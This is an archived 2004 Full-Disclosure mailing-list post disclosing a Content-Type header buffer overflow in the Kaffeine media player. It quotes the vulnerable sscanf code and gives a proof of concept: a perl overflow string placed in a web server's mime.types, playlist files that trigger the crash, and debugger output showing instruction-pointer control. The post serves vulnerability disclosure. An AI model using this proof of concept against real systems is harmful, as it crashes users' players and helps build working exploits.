

[Full-Disclosure] Kaffeine Media Player Conteny Type overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2004-10/1050.html>

From: KF (kfinisterre_at_secnetops.biz)

Date: 10/26/04

To: fulldis list <full-disclosure@lists.netsys.com>

Date: Mon, 25 Oct 2004 20:06:24 -0500

Author did not respond and I could not exploit... enjoy.
there will be a proper advisory when I am not being so lazy
-KF

Kaffeine >=0.4.2

<http://kaffeine.sourceforge.net/download.html>

Tested on SuSE Linux 9.1 on source compiled from kaffeine-0.4.3b.tar.bz2
also Tested on various SuSE and Fedora RPMS

On SuSE Linux 9.1 (i586) – Kernel 2.6.5-7.108-default

http://www.suse.com/us/private/download/linux/i386/update_for_9_1/extra.html

1558f5f4178cc1acb0a068fb0bf43c kaffeine.rpm

<ftp://packman.iu-bremen.de/testing/xine-cvs/kaffeine/>

kaffeine-0.5cvs-200409180035.i686.rpm

<ftp://packman.iu-bremen.de/suse/9.1/i686/>

kaffeine-0.4.3b-0.pm.0.i686.rpm

http://rpm.pbone.net/index.php3/stat/17/dept/5/idg/Productivity_Multimedia_Video_Players

kaffeine-0.4.2-6.i586.rpm

Fedora Core release 2.90 (FC3 Test 1) Kernel 2.6.7-1.478custom on an i686

<http://rpmseek.com/rpm-pl/kaffeine.html?hl=com&cx=0::>

kaffeine-0.4.3-0.lvn.1.b.2.i386.rpm

kaffeine-0.4.3-0.lvn.1.b.1.i386.rpm

This can be triggered via any Real Audio Media – ram playlist file.

kaffeine-0.4.3b/kaffeine/playlist.cpp:

These are your file limitations.

Playlist::LoadRamPlaylist(const KURL& kurl, QListViewItem* after)

Full-Disclosure: [Full-Disclosure] Kaffeine Media Player Conteny Type overflow

```
..
/* check for ram playlist */
if ( (ext == "ra") || (ext == "rm") || (ext == "ram") || (ext == "lsc") || (ext == "pl") )
{
...

```

The overflow occurs here.
kaffeine-0.4.3b/kaffeine/http.c:

```
static http_t *http_open (const char *mrl) {

    http_t *this;
...
    if (sscanf(this->buf, "Content-Type: %s", mime_type) == 1) {
```

Sample exploitation.

To cause the exploit modify /etc/mimetypes for the .ram extension make it
AAAAAAAAAAAAAAAAAAAAAAAAAAAA... instead of audio/x-pn-realaudio

```
linux:/srv/www/htdocs # echo `perl -e 'print "A" x 316 . "ZZZZABCD"'` ram > /etc/mime.types ;
/etc/init.d/apache2 restart
```

Syntax OK

Shutting down httpd2 (waiting for all children to terminate) done

Starting httpd2 (prefork)

```
[root@threat root]# kaffeine http://192.168.1.207/test.pl
http: content length = 30 bytes
http: content type = 'text/plain;'
http: content length = 0 bytes
http: content type =
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[root@threat root]# KCrash: Application 'kaffeine' crashing...
```

create a file named exme.ram in your wwwroot
and create a file named test.pl with the contents:
http://host/exme.ram

Upon reading the test.pl file either via http or via double click kaffeine
will attempt to download the file exme.ram. It will check the mimetype
that the server is offering and procede to copy it into a small buffer.

This can also be exploited by directly viewing the .ram file.

```
exact eip hit looks like this
gdb) c
Continuing.
http: content length = 30 bytes
http: content type = 'text/plain;'
http: content length = 0 bytes
http: content type =
```

